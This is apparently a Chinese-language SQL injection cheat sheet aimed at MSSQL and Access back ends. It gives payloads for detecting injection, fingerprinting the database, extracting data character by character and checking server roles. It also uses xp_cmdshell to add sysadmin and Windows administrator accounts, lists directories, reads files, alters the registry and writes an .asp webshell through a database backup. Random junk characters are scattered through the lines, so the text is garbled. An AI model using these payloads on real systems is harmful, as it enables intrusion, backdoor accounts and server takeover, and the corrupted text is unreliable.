1.判断是否有注入;and 1=1 ;and 1=2 !A&>Eeai
2.初步判断是否是mssql ;and user>0 noQS bI
@
!6l}s$1i|
3.注入参数是字符'and [查询条件] and ''=' rtZEK:.#
ja+PVf
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ]r(s02
aW;DfH
5.判断数据库系统 L_Lhmtm}m
@agxu-Y
;and (select count(*) from sysobjects)>0 mssql y5`$Aa4~
9;`E,w
;and (select count(*) from msysobjects)>0 access (Kb_/
ECr}7R%
xpB*>zb
HAdDr!/`
6.猜数据库 ;and (select Count(*) from [数据库名])>0 V~"-\@
ID8u&:
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 U\x$@J
2su/I
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 WADAp\&
4)NbQ[
9.(1)猜字段的ascii值(access) {&0u:
Vl%UT@D|
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 (u-eL#@
]lZg }7h
(2)猜字段的ascii值(mssql) eizni\
eR>|1s%^
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
-wQ@z6R
nIf~ds&TT
10.测试权限结构(mssql) ANq3r(
GtpBd40"
/xw}]Fa5
G:i>MJbxT
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- r74'
_y
:fA|J!^b[
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- /<T3^/ '
e^yfoE<7
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- b&2N7%
L^xh5{
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- w,eW?b
J*;= f8
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 57[tUO
xt1Ug~5
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- .njk^,N
~UQXt r
;and 1=(select IS_MEMBER('db_owner'));-- LW!>_~g-
%abc-q
i>%A0.9
\"1%>O*
11.添加mssql和系统的帐户 @cu#rWiG
uo-1.[9ds
;exec master.dbo.sp_addlogin username;-- eNu]K,rT
;exec master.dbo.sp_password null,username,password;-- @|EWif|
sr-tZ^d5S?
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- jhH&}d9
) m(!lDz3
;exec master.dbo.xp_cmdshell 'net user username password g+3_ $qIQ+
UM:]QbaIn
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- tX~*.W:
,C0D|q4/!.
;exec master.dbo.xp_cmdshell 'net user username password /add';-- KtD
XB>
9NeHN@D)
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ;.Y-e
Q,
@wcrtf~{)&
u{LtyDnik
iaHL&)[YK
12.(1)遍历目录 4)?s?+
RwUosh\W
;create table dirs(paths varchar(100), id int) aW_Pv~
/z`.- D(
;insert dirs exec master.dbo.xp_dirtree 'c:\' 9xaieR
REWW(.3o
;and (select top 1 paths from dirs)>0 =d#(n M*
[,sm]/Xlc
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) D-LQQ{!D5
a g6[Nk
Q$b4\n?44
$V,ZH*
g
(2)遍历目录 (/KeGgkhv
jbWgL$
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- HsKq/Oyk
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 SA%uGkm:e
TlD^EJG
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 5QP`2I_n
&[P(}??Y\
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 jwmPy)X|s\
[xo-ZDIoG
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 {Kz!)uaC
Tly*i"[&
SvQ!n4 $
*yYeqm
13.mssql中的存储过程 VI]~uTV
V-dyeb
xp_regenumvalues 注册表根键, 子键 Y 2[ik<
c!N#nt_<
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 7n]ukqZ
TjicltQi4
xp_regread 根键,子键,键值名 X}g"_wN,g>
W:hTRq
;exec xp_regread 2`J#)f|
('Ha$O72
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 [*1:?mD$
M)3'\x:
xp_regwrite 根键,子键, 值名, 值类型, 值 )v\ A8)[
'm0_pM1:D
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 NZz^* Ela
hWi2S!*Y
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 m-]F]c=)w<
Cd|rDa
xp_regdeletevalue 根键,子键,值名 80K"u[
-ufaV#
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 'LYN{
<[vsGUbc
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 f`YHZ
O
49=
K]X
(t5vBUj
|E&|6h1
14.mssql的backup创建webshell v%7Gh-P
ssAGWP
use model /9o6R:B
gfiFRwC`v
create table cmd(str image); `jec|i@oO
u)vS,dzu
insert into cmd(str) values (''); ^%O$7*
<Ok7-:OxA
backup database model to disk='c:\l.asp'; wb ^>/
q"Sja!-;|
]e$n ;tuW
.E;}.X
15.mssql内置函数 Ld
0j!II(
|XmzqX%
;and (select @@version)>0 获得Windows的版本号 -Gjz+cRns
qv[w
1;U"
;and user_name()='dbo' 判断当前系统的连接用户是不是sa GJ:oUi
[8>#b_>
;and (select user_name())>0 爆当前系统的连接用户 J;ycAF ~
r`i.h ^2De
;and (select db_name())>0 得到当前连接的数据库 8X/SNRk6p
H(kxRPH4@]
=.l>Uw!
Z/q'^PB
p
16.简洁的webshell yji>vJHu
?*6Q;.f<
use model ni6zo~+W]
{vk%&{D0)
create table cmd(str image); N'0nt]&a
!QCErE;r
insert into cmd(str) values (''); 8 %p+:6kP5
E8 5TCS1
backup database model to disk='g:\wwwtest\l.asp';